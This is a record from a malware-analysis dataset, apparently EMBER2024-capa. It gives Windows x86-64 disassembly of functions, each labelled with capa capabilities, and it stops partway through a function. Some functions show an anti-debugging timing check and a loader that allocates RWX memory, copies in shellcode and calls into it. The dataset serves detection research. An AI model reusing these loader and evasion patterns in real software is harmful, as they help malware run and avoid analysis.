joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140164838
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14016486f
call fcn.140167894
mov dword [rax], 0x16
call fcn.1401798d4
xor eax, eax
jmp 0x1401648fd
mov rdx, r9
mov rcx, r8
call fcn.140164920
mov rbx, rax
test rax, rax
je 0x1401648fa
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140164990]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1401648e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401678d4
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1401648ce
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1401648dd
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140084c60
jmp 0x1401648fa
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1401648f7
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140164a64
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140164bac

Function at 0x140167bf8
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x1401c6028]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x14018edf8]
mov rbp, rcx
call fcn.14017c30c
xor edi, edi
test rax, rax
je 0x140167cde
mov ebx, edi
call fcn.140167894
mov r14d, dword [rax]
call fcn.140167894
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.14016d500
mov rsi, rax
test rax, rax
je 0x140167c6f
call fcn.140167894
mov dword [rax], r14d
jmp 0x140167c99
call fcn.140167894
cmp dword [rax], 0x22
jne 0x140167cd6
call fcn.140167894
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.14016d500
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140167cd6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140167c9d
cmp rax, 3
je 0x140167cb8
mov rcx, rsi
call fcn.140167b54
test al, al
je 0x140167cc9
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x140167cc9
mov dil, 1
mov rcx, rbx
call fcn.140084c60
mov al, dil
jmp 0x140167ce0
mov rcx, rbx
call fcn.140084c60
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140152280
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140169c64
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1401d6210]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140169cbb
cmp word [rdx], r13w
jne 0x140169cbb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140169cc0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140169de5
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140169e06
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140169cf9
mov rdx, r9
mov word [rbx], cx
jmp 0x140169d20
cmp r9, r8
jae 0x140169d30
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140169cda
jmp 0x140169de5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140169dda
cmp dword [rsp + 0x80], esi
je 0x140169dda
lea r8, [0x1401d6210]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140169db2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140169d82
mov word [rbx], r13w
jmp 0x140169de2
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140169d8f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140169de2
cmp word [rsp + 0x70], r13w
jne 0x140169dbf
cmp rbx, r14
je 0x140169d7c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140168f08
cmp word [rsp + 0x70], r13w
je 0x140169de5
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401d6210]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140169ddf
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140169de5
Function at 0x140173990
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1401739b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1401739b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x14017dac8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140177534
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14017db69
cmp ebx, dword [rsp + 0x30]
je 0x14017db62
test esi, esi
je 0x14017db62
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14017db3d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14017db4a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14017db27
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14017db4e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14017db6b
mov eax, 1
jmp 0x14017db6b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14017f008
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14017f038
xor eax, eax
jmp 0x14017f0fb
mov rbp, rbx
cmp word [rax], si
je 0x14017f05d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14017f044
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14017f040
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14017ef28
movsxd r14, eax
test eax, eax
jne 0x14017f09b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14017f031
mov rcx, r14
call fcn.140084bf0
mov rdi, rax
test rax, rax
jne 0x14017f0b4
xor ecx, ecx
call fcn.140084c60
jmp 0x14017f090
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14017ef28
test eax, eax
jne 0x14017f0e5
mov rcx, rdi
call fcn.140084c60
jmp 0x14017f0ef
xor ecx, ecx
call fcn.140084c60
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14017f118
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14017f19f
mov rsi, rbx
cmp word [rax], bp
je 0x14017f15e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14017f148
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14017f144
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140084bf0
mov rdi, rax
test rax, rax
je 0x14017f18c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140153d10
mov rbp, rdi
xor ecx, ecx
call fcn.140084c60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140181754
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14015f0a4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1401817de
cmp byte [rbp - 0x21], r15b
je 0x1401817d9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140181814
call fcn.140177d04
test eax, eax
jne 0x140181800
cmp byte [rbp - 0x21], r15b
je 0x1401817f8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140181814
cmp byte [rbp - 0x21], r15b
je 0x140181811
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1401646bc
test eax, eax
jne 0x1401818b4
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14015f0a4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140181853
cmp byte [rbp - 0x21], r15b
je 0x140181888
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140181888
call fcn.140177d04
test eax, eax
jne 0x140181874
cmp byte [rbp - 0x21], r15b
je 0x14018186d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140181888
cmp byte [rbp - 0x21], r15b
je 0x140181885
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1401646bc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1401818b4
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1401818b7
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1401818c5
mov rcx, rdi
call fcn.140084c60
cmp byte [rbp + 0x3f], r15b
je 0x1401818d4
mov rcx, qword [rbp + 0x27]
call fcn.140084c60
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1401819dc
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1401c6028]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x140181a26
call fcn.1401678b4
mov dword [rax], 0xf
call fcn.140167894
mov dword [rax], 0xd
call fcn.1401798d4
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140152280
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x140181a31
lea eax, [rbx + 1]
jmp 0x140181a13
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140181a11
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x140181a13
Function at 0x140182e84
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140182e9a
mov al, 1
jmp 0x140182efa
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140182eab
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140182ef8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14016812c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140182ef8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140182ef8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140182ef8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140182efa
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400010ba
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x1400010dd
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x140001108
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x140001101
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x1400037ce
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xacaa
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000381f
mov rbx, rax
call 0x140003802
nop
pop rsi
mov r9, rax
add rsi, 0x496db
mov rcx, 0xacaa
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x14000381b
call r9
mov ecx, 1
ret

Function at 0x140004020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140004053
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140004097
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140004092
cmp rbx, r11
jae 0x140004097
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140004080
cmp rbx, r11
jb 0x14000409b
xor eax, eax
jmp 0x1400040a7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400043d0
Capabilities:
Check mutex on windows
Enumerate gui resources

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x4a0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rbx, rcx
mov dword [rax + 0x10], 8
mov dword [rax + 0x14], 0xff
lea rcx, [rax + 0x10]
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov rcx, rbx
call fcn.14000e054
xor edi, edi
mov qword [0x140051040], rdi
mov qword [0x140051030], rdi
mov byte [0x140051048], 1
mov byte [0x140051049], dil
mov word [0x14005104a], di
mov dword [0x14005104c], edi
lea rax, [0x14003c598]
mov qword [0x140051050], rax
lea rax, [0x140051030]
mov qword [0x14004c1e0], rax
lea rcx, str.SFSASIOCPL
call fcn.140004300
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x140004477
xor eax, eax
jmp 0x14000454a
lea r8, str.Global2A09DD9B_F8F3_4BA3_8479_8FBF19CEE1F8
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
lea rsi, [0x14004c1e0]
test rax, rax
je 0x1400044cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400044cf
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140005950
nop
lea rcx, [rsp + 0x30]
call fcn.14001114c
nop
lea rcx, [rsp + 0x30]
call fcn.140004560
mov rbx, qword [0x14004c1e0]
jmp 0x140004512
xor edx, edx
lea rcx, [0x140007bb0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rbx, qword [0x14004c1e0]
cmp rbx, rsi
je 0x140004542
test byte [rbx + 0x1c], 1
je 0x140004512
cmp byte [rbx + 0x19], 2
jb 0x140004512
mov edx, 0xa
lea r8, [0x14003c5d8]
mov rcx, qword [rbx + 0x10]
call fcn.140004210
mov rbx, qword [0x14004c1e0]
cmp rbx, rsi
je 0x140004542
test rbx, rbx
je 0x14000453b
nop dword [rax]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140004533
call qword [sym.imp.ADVAPI32.dll_UnregisterTraceGuids]
mov qword [rbx + 8], rdi
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140004520
mov qword [0x14004c1e0], rsi
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140004c70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x1400114e7
cmp dword [rcx + 0xa8], 0
jne 0x1400114e7
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.140013364
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14001144c
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140007a10
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor eax, eax
xor ebx, ebx
lea rdx, [rsp + 0x20]
lea r8d, [rbx + 0x17]
mov word [rsp + 0x20], bx
mov qword [rsp + 0x22], rax
mov qword [rsp + 0x2a], rax
mov qword [rsp + 0x32], rax
mov qword [rsp + 0x3a], rax
mov qword [rsp + 0x42], rax
mov dword [rsp + 0x4a], eax
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x140007a71
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140020720
add rsp, 0x60
pop rbx
ret
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rdi
lea rdi, [rsp + 0x20]
lea rsi, str.SFORZATO_Audio_Driver
mov ecx, 0x16
repe cmpsw word [rsi], word [rdi]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
sete bl
mov eax, ebx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140020720
add rsp, 0x60
pop rbx
ret

Function at 0x140007ac0
Capabilities:
Get process image filename

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x450
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rbx, rcx
lea rcx, [rsp + 0x232]
xor edi, edi
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x230], di
call fcn.140021c50
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x20], di
call fcn.140021c50
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x230]
mov rcx, rax
mov r8d, 0x105
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
jne 0x140007b3c
xor eax, eax
jmp 0x140007b8d
lea rdx, [rsp + 0x20]
mov r8d, 0x105
mov rcx, rbx
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
je 0x140007b38
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea rcx, [rsp + 0x230]
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub rbx, rax
movzx edx, word [rax]
movzx ecx, word [rax + rbx]
sub edx, ecx
jne 0x140007b85
add rax, 2
test ecx, ecx
jne 0x140007b72
test edx, edx
sete dil
mov eax, edi
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140020720
mov rbx, qword [rsp + 0x468]
add rsp, 0x450
pop rdi
ret

Function at 0x140007fe0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
test rdx, rdx
je 0x140008082
mov qword [rcx], rdx
xor r8d, r8d
lea r9, str.GlobalFB92B239_0231_40AC_ABAC_DF32E894D720
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x20], rax
test rax, rax
je 0x14000807a
lea r8, str.Global9811E28A_58AC_4566_A6D3_16D3BE9277B5
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rbx + 0x18], rax
test rax, rax
je 0x14000807a
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x14000807a
xor ecx, ecx
lea r8, [0x140008130]
mov r9, rbx
mov qword [rsp + 0x28], rcx
xor edx, edx
mov dword [rsp + 0x20], ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 8], rax
test rax, rax
je 0x14000807a
mov eax, 1
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call fcn.140008090
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140008090
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 8]
xor edi, edi
test rcx, rcx
je 0x1400080df
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x1400080c9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rbx + 8]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400080d1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], rdi
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400080f2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], rdi
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140008105
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x18], rdi
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140008118
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x20], rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140008f40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
mov rdx, r8
mov rcx, rsi
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x140009005
mov rdx, rbx
mov rcx, rsi
mov qword [rsp + 0x30], r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x140009000
xor ebx, ebx
mov rdx, rbp
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rdi + 8], rax
test rax, rax
je 0x140008ffe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140008ffe
mov r9, rbp
mov r8, r12
mov rdx, rbp
mov rcx, rax
call fcn.1400209b4
mov rcx, qword [rdi + 8]
mov r8, rdi
xor edx, edx
mov qword [rdi], rbx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x140008fe6
lea ebx, [rax + 1]
jmp 0x140008ffe
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov qword [rdi + 8], rbx
mov eax, ebx
mov r12, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x1400091f0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push rsp